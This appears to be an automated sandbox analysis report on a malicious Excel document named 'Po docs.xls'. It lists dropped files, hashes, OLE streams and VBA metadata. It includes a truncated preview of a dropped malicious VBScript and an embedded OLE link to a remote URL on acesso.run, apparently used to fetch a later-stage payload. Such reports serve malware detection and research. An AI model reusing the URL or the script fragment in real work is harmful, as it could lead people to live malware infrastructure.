Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF71199019E45397F5.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFAFFBCAC1D1D981F6.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\CF97F5\5879F5.lck

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-966771315-3019405637-367336477-1006\f554348b930ff81505ce47f7c6b7d232_ea860e7a-a87f-4a88-92ef-38f744458171

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
File Type:	data
Category:	modified
Size (bytes):	46
Entropy (8bit):	1.0424600748477153
Encrypted:	false
SSDEEP:	3:/lbWwWl:sZ
MD5:	3B7B4F5326139F48EFA0AAE509E2FE58
SHA1:	209A1CE7AF7FF28CCD52AE9C8A89DEE5F2C1D57A
SHA-256:	D47B073BF489AB75A26EBF82ABA0DAB7A484F83F8200AB85EBD57BED472022FC
SHA-512:	C99D99EA71E54629815099464A233E7617E4E118DD5B2A7A32CF41141CB9815DF47B0A40D1A9F89980C307596B53DD63F76DD52CF10EE21F47C635C5F68786B5
Malicious:	false
Preview:	........................................user.

C:\Users\user\AppData\Roaming\seethebesthtingswithmewhichgivegreatoutputofm.vBs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	140722
Entropy (8bit):	3.6746713804592175
Encrypted:	false
SSDEEP:	3072:IirwLcc9tgt5puGwDhUVObjwsBOKEazJ6xh7H:wEOblhMh7
MD5:	4DD3D6EED0E1ADE77FDE299848078EF8
SHA1:	75855BEE75C0C52D00CAD1897C381FFC6C706200
SHA-256:	9BFF58B3DFE1955E923ED90E899AC419667DE9E6C842753D68614FBF8F612305
SHA-512:	3C7907B390CEDB7F619F1CB9D3AAA24C623A6083995BE4A45690E5FD05982DF6054E33D1D434CBCB725AD27003529112ABB52138D4F5125BFC8680A786701E5D
Malicious:	true
Preview:	..p.r.i.v.a.t.e. .f.u.n.c.t.i.o.n. .C.r.e.a.t.e.S.e.s.s.i.o.n.(.w.s.m.a.n.,. .c.o.n.S.t.r.,. .o.p.t.D.i.c.,. .b.r.a.n.d.a.l.)..... . . . .d.i.m. .g.r.a.c.i.o.s.o.F.l.a.g.s..... . . . .d.i.m. .c.o.n.O.p.t. ..... . . . .d.i.m. .g.r.a.c.i.o.s.o..... . . . .d.i.m. .a.u.t.h.V.a.l..... . . . .d.i.m. .e.n.c.o.d.i.n.g.V.a.l..... . . . .d.i.m. .e.n.c.r.y.p.t.V.a.l..... . . . .d.i.m. .p.w..... . . . .d.i.m. .t.o.u.t..... . . . .'. .p.r.o.x.y. .i.n.f.o.r.m.a.t.i.o.n..... . . . .d.i.m. .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e..... . . . .d.i.m. .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e.V.a.l..... . . . .d.i.m. .p.r.o.x.y.A.u.t.h.e.n.t.i.c.a.t.i.o.n.M.e.c.h.a.n.i.s.m..... . . . .d.i.m. .p.r.o.x.y.A.u.t.h.e.n.t.i.c.a.t.i.o.n.M.e.c.h.a.n.i.s.m.V.a.l..... . . . .d.i.m. .p.r.o.x.y.U.s.e.r.n.a.m.e..... . . . .d.i.m. .p.r.o.x.y.P.a.s.s.w.o.r.d..... . . . . ..... . . . .g.r.a.c.i.o.s.o.F.l.a.g.s. .=. .0..... . . . .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e. .=. .0..... . . . .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e.V.a.l. .=. .0..... . . . .p.r.o.

C:\Users\user\Desktop\37330000

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Wed Oct 30 06:53:11 2024, Security: 1
Category:	dropped
Size (bytes):	478720
Entropy (8bit):	7.973951827987588
Encrypted:	false
SSDEEP:	12288:+jA1nvnIGysjcyeEa3ruJkRKTXauGVjF1dNVEO/dOn:+GvnGwcyD6rCXex1F
MD5:	32B1221581A44CE33EC7D40E1B07658A
SHA1:	889A0DFB3BF737AB0404A5FA76D5C94AFAA1E806
SHA-256:	87C78A47DEF97C131C4606A5CF98AD5C1787383FEA7F705ABC575AD270EA0016
SHA-512:	1F628C7730B2CA5C86935D3995EF048E4044215F31F5A3EB67C079E68BD816911749011ED3F9DA73DDF5EF247011714FF2F25DA5585452716638F04DA1540852
Malicious:	false
Preview:	......................>...................................-...................p.......r.......t.......v................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,.........../.......1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...q.......r...s...t...u...v...w...x...y...z...

C:\Users\user\Desktop\37330000:Zone.Identifier

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Desktop\Po docs.xls (copy)

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Wed Oct 30 06:53:11 2024, Security: 1
Category:	dropped
Size (bytes):	478720
Entropy (8bit):	7.973951827987588
Encrypted:	false
SSDEEP:	12288:+jA1nvnIGysjcyeEa3ruJkRKTXauGVjF1dNVEO/dOn:+GvnGwcyD6rCXex1F
MD5:	32B1221581A44CE33EC7D40E1B07658A
SHA1:	889A0DFB3BF737AB0404A5FA76D5C94AFAA1E806
SHA-256:	87C78A47DEF97C131C4606A5CF98AD5C1787383FEA7F705ABC575AD270EA0016
SHA-512:	1F628C7730B2CA5C86935D3995EF048E4044215F31F5A3EB67C079E68BD816911749011ED3F9DA73DDF5EF247011714FF2F25DA5585452716638F04DA1540852
Malicious:	true
Preview:	......................>...................................-...................p.......r.......t.......v................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,.........../.......1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...q.......r...s...t...u...v...w...x...y...z...

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Wed Oct 30 04:50:55 2024, Security: 1
Entropy (8bit):	7.947275464807175
TrID:	Microsoft Excel sheet (30009/1) 47.99% Microsoft Excel sheet (alternate) (24509/1) 39.20% Generic OLE2 / Multistream Compound File (8008/1) 12.81%
File name:	Po docs.xls
File size:	487'936 bytes
MD5:	4cbbf7815ee93202eb78ae0815ce9c2b
SHA1:	093f0bbc7422766b465332e1c8f608422e702329
SHA256:	dc8cc8622001466d8dd715db5cfd1c7e930f1c201fd1a37106f5191ae68a33e1
SHA512:	790781e0a6dc840634f36fe5ef9863a1a0e31b471183968f401e757d2ad2d8010224abb98111a7e3d44f4d6d063b455c3f91edcdde34a364c52afa03ce3cca15
SSDEEP:	12288:skef66BBGRUdbU6jVzs6dDuipHJ30VQdB:G66iRU5U6jpdDtHt0aB
TLSH:	95A4232677DAD327E8532870AAD6DDAB4603FC083F52E61736407B5DE0B5BC08AC651B
File Content Preview:	........................>...................................-...................p.......r.......t.......v......................................................................................................................................................

File Icon


Icon Hash:	276ea3a6a6b7bfbf

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "Po docs.xls"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Author:
Last Saved By:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2024-10-30 04:50:55
Creating Application:	Microsoft Excel
Security:	1

Document Summary

Document Code Page:	1252
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	786432

Streams with VBA

VBA File Name: Sheet1.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet1
VBA File Name:	Sheet1.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \| ; . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 7c f0 8d 3b 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet2.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet2
VBA File Name:	Sheet2.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \| o . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 7c f0 6f c1 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet3.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet3
VBA File Name:	Sheet3.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \| l . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 7c f0 6c 14 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: ThisWorkbook.cls, Stream Size: 985

General
Stream Path:	_VBA_PROJECT_CUR/VBA/ThisWorkbook
VBA File Name:	ThisWorkbook.cls
Stream Size:	985
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \| . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 1 . 9 . - . 0
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 7c f0 89 e8 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244

General
Stream Path:	\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	244
Entropy:	2.889430592781307
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a1 00 00 00 02 00 00 00 e4 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 200

General
Stream Path:	\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	200
Entropy:	3.2920681057018664
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . \| . # . @ . . . M * . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: MBD011F7CEF/\x1CompObj, File Type: data, Stream Size: 99

General
Stream Path:	MBD011F7CEF/\x1CompObj
CLSID:
File Type:	data
Stream Size:	99
Entropy:	3.631242196770981
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD011F7CEF/Package, File Type: Microsoft Excel 2007+, Stream Size: 21079

General
Stream Path:	MBD011F7CEF/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	21079
Entropy:	7.699462855468023
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . D . 2 . . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 44 19 a7 ee 32 01 00 00 c9 02 00 00 13 00 08 02 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 04 02 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD011F7CF0/\x1Ole, File Type: data, Stream Size: 536

General
Stream Path:	MBD011F7CF0/\x1Ole
CLSID:
File Type:	data
Stream Size:	536
Entropy:	4.579702229584064
Base64 Encoded:	False
Data ASCII:	. . . . 3 _ . { 9 j ^ . . . . . . . . . . . . . . . y . . . K . . . . h . t . t . p . s . : . / . / . a . c . e . s . s . o . . . r . u . n . / . o . V . a . A . O . a . ? . & . t . e . r . r . i . t . o . r . y . = . p . l . a . c . i . d . & . r . e . c . r . u . i . t . = . c . o . o . l . & . b . e . e . f . = . a . d . j . o . i . n . i . n . g . & . p . i . l . l . b . o . x . . . { . . . . c ~ D 2 . > d A ' e 0 . F . . . . . . . . . . . . . . . . . . . . . f . I . Z . 1 . h . 5 . h . v . H . Q . Q
Data Raw:	01 00 00 02 33 5f 03 7b 39 6a b9 5e 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 e0 c9 ea 79 f9 ba ce 11 8c 82 00 aa 00 4b a9 0b c4 00 00 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 61 00 63 00 65 00 73 00 73 00 6f 00 2e 00 72 00 75 00 6e 00 2f 00 6f 00 56 00 61 00 41 00 4f 00 61 00 3f 00 26 00 74 00 65 00 72 00 72 00 69 00 74 00 6f 00 72 00 79 00 3d 00 70 00 6c 00 61 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 448105

General
Stream Path:	Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	448105
Entropy:	7.999177813766079
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . / . 6 . . . . . . . , . . T 3 ? y d k . m . . [ e . . S X . 0 3 . s . . . . . . . . . . ] . . . . \\ . p . m . < d 7 . y c . . . 8 n . . q . . > . Z ? . d O < s B p m 7 + M ! ' . 5 _ { 7 C . > . C ] P l ] P c B M M H } y s . - f g \\ s K \| ^ . W B . . . : a . . . . # . . . = . . . f 6 W . . . I ( s ] \\ S b . . . . 8 . . . . . . . . . . . . . w . . . ? c . . . # = . . . T I 9 N > a @ . . . 3 . . . " . . . & 1 . . . . j . . . \\ . . . . 1 . . . . u . Y ( l q 2 f . . . . 1 . .
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 2f 00 36 00 01 00 01 00 01 00 2c dd 1f 10 e5 54 33 3f 79 a5 64 c0 fd 9b bb f3 6b 1f 6d fe c2 dd aa d4 b2 85 5b 65 0e a2 1e 53 e4 58 0a 8f 30 33 20 10 ef 73 fc 18 88 ce b9 0d e1 00 02 00 b0 04 c1 00 02 00 5d 0c e2 00 00 00 5c 00 70 00 6d 1c 3c 81 e1 85 c2 64 37 f1 0e 79 63 0e ca bf 11 38 c1 93 6e b0 19 b2 b8 7f 71 1a 05 af

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 521

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
CLSID:
File Type:	ASCII text, with CRLF line terminators
Stream Size:	521
Entropy:	5.259769090623924
Base64 Encoded:	True
Data ASCII:	I D = " { B 8 0 C D 7 7 A - 9 C 8 F - 4 0 F 6 - B 7 A 1 - F 3 3 7 6 F B D 5 7 4 A } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 2 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 3 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " F 8 F A E F 1 5 F 3 1 5 F 3 1 5 F
Data Raw:	49 44 3d 22 7b 42 38 30 43 44 37 37 41 2d 39 43 38 46 2d 34 30 46 36 2d 42 37 41 31 2d 46 33 33 37 36 46 42 44 35 37 34 41 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 32 2f 26 48 30 30 30

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 104

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
CLSID:
File Type:	data
Stream Size:	104
Entropy:	3.0488640812019017
Base64 Encoded:	False
Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . S h e e t 2 . S . h . e . e . t . 2 . . . S h e e t 3 . S . h . e . e . t . 3 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 53 68 65 65 74 32 00 53 00 68 00 65 00 65 00 74 00 32 00 00 00 53 68 65 65 74 33 00 53 00 68 00 65 00 65 00 74 00 33 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2644

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
CLSID:
File Type:	data
Stream Size:	2644
Entropy:	3.9807262874875833
Base64 Encoded:	False
